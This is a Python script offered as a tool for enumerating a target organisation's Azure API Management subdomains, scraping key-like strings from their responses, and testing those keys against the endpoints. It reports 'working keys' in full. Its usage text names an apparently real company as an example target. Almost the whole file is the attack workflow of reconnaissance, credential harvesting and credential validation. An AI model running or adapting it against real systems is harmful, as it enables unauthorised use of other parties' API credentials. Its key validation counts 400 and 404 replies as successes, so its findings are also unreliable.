#!/usr/bin/env python3
"""
Azure APIM Subdomain Enumerator & Key Scanner
Based on RoseSecurity's Azure enumeration techniques + APIM key discovery

Combines DNS enumeration with active key scanning to find:
1. Azure APIM subdomains via DNS queries
2. Exposed API keys in discovered endpoints
3. Permutations of company names on Azure infrastructure
"""

import re
import sys
import json
import argparse
import concurrent.futures
import socket
import dns.resolver
from typing import List, Dict, Set, Optional
from urllib.parse import urljoin

try:
    import requests
    from requests.adapters import HTTPAdapter
    from urllib3.util.retry import Retry
except ImportError:
    print("Error: Install required packages:")
    print("  pip install requests dnspython")
    sys.exit(1)


class AzureAPIMEnumerator:
    """Enumerate Azure APIM infrastructure and hunt for exposed keys"""
    
    # Azure APIM specific domains (from RoseSecurity's list + APIM additions)
    AZURE_APIM_DOMAINS = [
        '.azure-api.net',
        '.management.azure-api.net',
        '.portal.azure-api.net',
        '.developer.azure-api.net',
        '.scm.azure-api.net',
    ]
    
    # Additional Azure domains that might have APIM references
    AZURE_RELATED_DOMAINS = [
        '.azurewebsites.net',
        '.blob.core.windows.net',
        '.azureedge.net',
        '.cloudapp.net',
    ]
    
    # Subdomain permutations (from RoseSecurity's methodology)
    PERMUTATIONS = [
        'api', 'api-gateway', 'apim', 'gateway',
        'prod', 'production', 'prod-api',
        'dev', 'development', 'dev-api',
        'test', 'testing', 'qa', 'staging', 'stage',
        'internal', 'external', 'public', 'private',
        'v1', 'v2', 'v3', 'api-v1', 'api-v2',
        'service', 'services', 'backend',
        'mobile', 'mobile-api', 'app', 'web-api',
        'rest', 'rest-api', 'graphql',
        'east', 'west', 'central', 'north', 'south',
        'us', 'eu', 'asia', 'useast', 'uswest', 'euwest',
        'live', 'main', 'primary', 'secondary',
        'customer', 'partner', 'vendor',
        'data', 'auth', 'identity', 'user',
    ]
    
    # Region-specific permutations
    REGION_PERMUTATIONS = [
        'eastus', 'eastus2', 'westus', 'westus2', 'westus3',
        'centralus', 'northcentralus', 'southcentralus', 'westcentralus',
        'eastasia', 'southeastasia', 'northeurope', 'westeurope',
        'uksouth', 'ukwest', 'francecentral', 'francesouth',
        'australiaeast', 'australiasoutheast', 'canadacentral', 'canadaeast',
        'brazilsouth', 'japaneast', 'japanwest', 'koreacentral', 'koreasouth',
    ]
    
    # Key patterns
    KEY_PATTERNS = [
        r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',  # GUID
        r'\b[0-9a-f]{32}\b',  # Hex
        r'\b[a-zA-Z0-9]{32,64}\b',  # Alphanumeric
    ]
    
    def __init__(self, domain: str, use_permutations=True, timeout=5, threads=20, verbose=False):
        self.base_domain = domain
        self.use_permutations = use_permutations
        self.timeout = timeout
        self.threads = threads
        self.verbose = verbose
        self.session = self._create_session()
        self.resolver = dns.resolver.Resolver()
        self.resolver.timeout = timeout
        self.resolver.lifetime = timeout
        
        self.findings = {
            'valid_subdomains': [],
            'apim_endpoints': [],
            'exposed_keys': [],
            'working_keys': []
        }
    
    def _create_session(self):
        session = requests.Session()
        retry = Retry(total=2, backoff_factor=0.3, status_forcelist=[500, 502, 503, 504])
        adapter = HTTPAdapter(max_retries=retry)
        session.mount('http://', adapter)
        session.mount('https://', adapter)
        session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        return session
    
    def log(self, message, level="INFO"):
        if self.verbose:
            colors = {
                "INFO": "\033[94m", "SUCCESS": "\033[92m",
                "WARN": "\033[93m", "ERROR": "\033[91m", "END": "\033[0m"
            }
            print(f"{colors.get(level, '')}[{level}]{colors['END']} {message}")
    
    def generate_subdomains(self) -> List[str]:
        """Generate list of potential Azure APIM subdomains"""
        subdomains = []
        
        # Base domain with APIM TLDs
        for tld in self.AZURE_APIM_DOMAINS:
            subdomains.append(f"{self.base_domain}{tld}")
        
        if self.use_permutations:
            # Add permutations
            for perm in self.PERMUTATIONS:
                for tld in self.AZURE_APIM_DOMAINS:
                    # prefix-domain.azure-api.net
                    subdomains.append(f"{perm}-{self.base_domain}{tld}")
                    # domain-prefix.azure-api.net
                    subdomains.append(f"{self.base_domain}-{perm}{tld}")
            
            # Add region-specific
            for region in self.REGION_PERMUTATIONS:
                for tld in self.AZURE_APIM_DOMAINS:
                    subdomains.append(f"{self.base_domain}-{region}{tld}")
            
            # Also check related Azure services (might reference APIM)
            for tld in self.AZURE_RELATED_DOMAINS:
                subdomains.append(f"{self.base_domain}{tld}")
        
        self.log(f"Generated {len(subdomains)} potential subdomains to test")
        return list(set(subdomains))
    
    def dns_query(self, domain: str, record_type='A') -> Optional[List[str]]:
        """Query DNS records for a domain"""
        try:
            answers = self.resolver.resolve(domain, record_type)
            return [str(rdata) for rdata in answers]
        except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.NoNameservers, dns.exception.Timeout):
            return None
        except Exception as e:
            self.log(f"DNS error for {domain}: {str(e)[:50]}", "ERROR")
            return None
    
    def enumerate_dns(self, domain: str) -> Dict:
        """Perform comprehensive DNS enumeration on a domain"""
        result = {
            'domain': domain,
            'exists': False,
            'records': {}
        }
        
        # Try multiple record types
        record_types = ['A', 'CNAME', 'TXT', 'MX', 'NS']
        
        for record_type in record_types:
            records = self.dns_query(domain, record_type)
            if records:
                result['exists'] = True
                result['records'][record_type] = records
                
                if record_type == 'A':
                    self.log(f"✓ Found: {domain} → {records[0]}", "SUCCESS")
        
        return result
    
    def check_http_endpoint(self, domain: str) -> Dict:
        """Check if domain responds to HTTP/HTTPS"""
        result = {
            'domain': domain,
            'accessible': False,
            'https': False,
            'status': None,
            'is_apim': False,
            'keys_found': []
        }
        
        for protocol in ['https', 'http']:
            try:
                url = f"{protocol}://{domain}"
                response = self.session.get(url, timeout=self.timeout, allow_redirects=True)
                
                result['accessible'] = True
                result['https'] = (protocol == 'https')
                result['status'] = response.status_code
                
                # Check for APIM indicators
                apim_indicators = [
                    'ocp-apim', 'subscription-key', 'x-ratelimit',
                    'azure-api', 'api management'
                ]
                
                content_lower = response.text.lower()
                headers_str = str(response.headers).lower()
                
                if any(ind in content_lower or ind in headers_str for ind in apim_indicators):
                    result['is_apim'] = True
                    self.log(f"✓✓ APIM endpoint: {url}", "SUCCESS")
                
                # Extract keys from response
                keys = self._extract_keys(response.text)
                if keys:
                    result['keys_found'] = list(keys)
                    self.log(f"✓✓✓ KEYS FOUND in {url}!", "SUCCESS")
                
                break  # Stop if one protocol works
                
            except requests.exceptions.RequestException:
                continue
        
        return result
    
    def _extract_keys(self, content: str) -> Set[str]:
        """Extract potential API keys from content"""
        keys = set()
        for pattern in self.KEY_PATTERNS:
            matches = re.findall(pattern, content)
            keys.update([k for k in matches if self._is_valid_key(k)])
        return keys
    
    def _is_valid_key(self, key: str) -> bool:
        """Validate key format"""
        false_positives = [
            'ffffffff', '00000000', '12345678', 'deadbeef',
            '00000000-0000-0000-0000-000000000000',
            'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'
        ]
        return key.lower() not in false_positives and len(set(key.lower())) >= 8
    
    def test_key(self, endpoint: str, key: str) -> Dict:
        """Test if a key works on an endpoint"""
        headers_to_try = [
            'Ocp-Apim-Subscription-Key',
            'X-Api-Key',
            'ApiKey',
        ]
        
        paths_to_try = ['/', '/api/health', '/health', '/status']
        
        for header in headers_to_try:
            for path in paths_to_try:
                try:
                    url = f"https://{endpoint}{path}"
                    response = self.session.get(
                        url,
                        headers={header: key},
                        timeout=self.timeout
                    )
                    
                    # Success indicators
                    if response.status_code in [200, 201, 202, 204, 400, 404, 405]:
                        return {
                            'valid': True,
                            'key': key,
                            'endpoint': endpoint,
                            'header': header,
                            'path': path,
                            'status': response.status_code
                        }
                except:
                    continue
        
        return {'valid': False, 'key': key, 'endpoint': endpoint}
    
    def enumerate_and_scan(self) -> Dict:
        """Full enumeration and scanning workflow"""
        self.log(f"\n{'='*80}\nEnumerating Azure APIM for: {self.base_domain}\n{'='*80}\n")
        
        # Step 1: Generate subdomains
        subdomains = self.generate_subdomains()
        
        # Step 2: DNS enumeration (parallel)
        self.log(f"[1/3] DNS Enumeration ({len(subdomains)} domains)...")
        with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
            dns_results = list(executor.map(self.enumerate_dns, subdomains))
        
        valid_domains = [r for r in dns_results if r['exists']]
        self.findings['valid_subdomains'] = valid_domains
        
        self.log(f"Found {len(valid_domains)} valid subdomains")
        
        # Step 3: HTTP endpoint checks
        self.log(f"\n[2/3] Checking HTTP endpoints...")
        domains_to_check = [r['domain'] for r in valid_domains]
        
        with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
            http_results = list(executor.map(self.check_http_endpoint, domains_to_check))
        
        apim_endpoints = [r for r in http_results if r['is_apim']]
        self.findings['apim_endpoints'] = apim_endpoints
        
        # Collect all keys found
        all_keys = set()
        for result in http_results:
            all_keys.update(result.get('keys_found', []))
        
        self.findings['exposed_keys'] = list(all_keys)
        
        self.log(f"Found {len(apim_endpoints)} APIM endpoints")
        self.log(f"Found {len(all_keys)} potential keys")
        
        # Step 4: Test keys
        if all_keys and apim_endpoints:
            self.log(f"\n[3/3] Testing {len(all_keys)} keys on {len(apim_endpoints)} endpoints...")
            
            test_combinations = [
                (ep['domain'], key) 
                for ep in apim_endpoints 
                for key in all_keys
            ]
            
            with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
                key_results = list(executor.starmap(self.test_key, test_combinations))
            
            working_keys = [r for r in key_results if r.get('valid')]
            self.findings['working_keys'] = working_keys
            
            if working_keys:
                self.log(f"✓✓✓ Found {len(working_keys)} WORKING KEYS!", "SUCCESS")
        
        return self.findings


def print_report(findings: Dict, domain: str):
    """Print comprehensive report"""
    print("\n" + "="*80)
    print(f"AZURE APIM ENUMERATION REPORT - {domain}")
    print("="*80)
    
    print(f"\n[VALID SUBDOMAINS] ({len(findings['valid_subdomains'])})")
    for sub in findings['valid_subdomains']:
        print(f"  • {sub['domain']}")
        for rec_type, records in sub['records'].items():
            print(f"    {rec_type}: {', '.join(records[:2])}")
    
    if findings['apim_endpoints']:
        print(f"\n[APIM ENDPOINTS] ({len(findings['apim_endpoints'])})")
        for ep in findings['apim_endpoints']:
            print(f"  • https://{ep['domain']} (Status: {ep['status']})")
    
    if findings['exposed_keys']:
        print(f"\n[EXPOSED KEYS] ({len(findings['exposed_keys'])})")
        for key in findings['exposed_keys']:
            print(f"  • {key[:8]}...{key[-4:]} (Full: {key})")
    
    if findings['working_keys']:
        print(f"\n[WORKING KEYS] ({len(findings['working_keys'])})")
        for wk in findings['working_keys']:
            print(f"\n  ✓ ACTIVE KEY:")
            print(f"    Key: {wk['key']}")
            print(f"    Endpoint: {wk['endpoint']}")
            print(f"    Header: {wk['header']}")
            print(f"    Test Path: {wk['path']}")
            print(f"    Status: {wk['status']}")
    
    print(f"\n{'='*80}")
    print(f"Summary: {len(findings['valid_subdomains'])} subdomains | "
          f"{len(findings['apim_endpoints'])} APIM | "
          f"{len(findings['exposed_keys'])} keys | "
          f"{len(findings['working_keys'])} working")
    print("="*80)


def main():
    parser = argparse.ArgumentParser(
        description='Azure APIM Subdomain Enumerator & Key Scanner',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic enumeration
  python azure_apim_enum.py -d company
  
  # With permutations (more comprehensive)
  python azure_apim_enum.py -d company -p -v
  
  # Fast scan (fewer threads)
  python azure_apim_enum.py -d company --threads 10
  
  # Save results
  python azure_apim_enum.py -d company -o results.json
  
Based on RoseSecurity's Azure enumeration methodology
        """
    )
    
    parser.add_argument('-d', '--domain', required=True, 
                       help='Target domain (without TLD, e.g., "purolator")')
    parser.add_argument('-p', '--permutations', action='store_true',
                       help='Use subdomain permutations (more thorough)')
    parser.add_argument('-t', '--timeout', type=int, default=5,
                       help='Timeout in seconds (default: 5)')
    parser.add_argument('--threads', type=int, default=20,
                       help='Number of threads (default: 20)')
    parser.add_argument('-v', '--verbose', action='store_true',
                       help='Verbose output')
    parser.add_argument('-o', '--output', help='Save results to JSON file')
    
    args = parser.parse_args()
    
    enumerator = AzureAPIMEnumerator(
        domain=args.domain,
        use_permutations=args.permutations,
        timeout=args.timeout,
        threads=args.threads,
        verbose=args.verbose
    )
    
    findings = enumerator.enumerate_and_scan()
    
    print_report(findings, args.domain)
    
    if args.output:
        # Convert sets to lists for JSON serialization
        output_data = {
            'domain': args.domain,
            'findings': findings
        }
        with open(args.output, 'w') as f:
            json.dump(output_data, f, indent=2, default=list)
        print(f"\n[+] Results saved to: {args.output}")


if __name__ == '__main__':
    main()
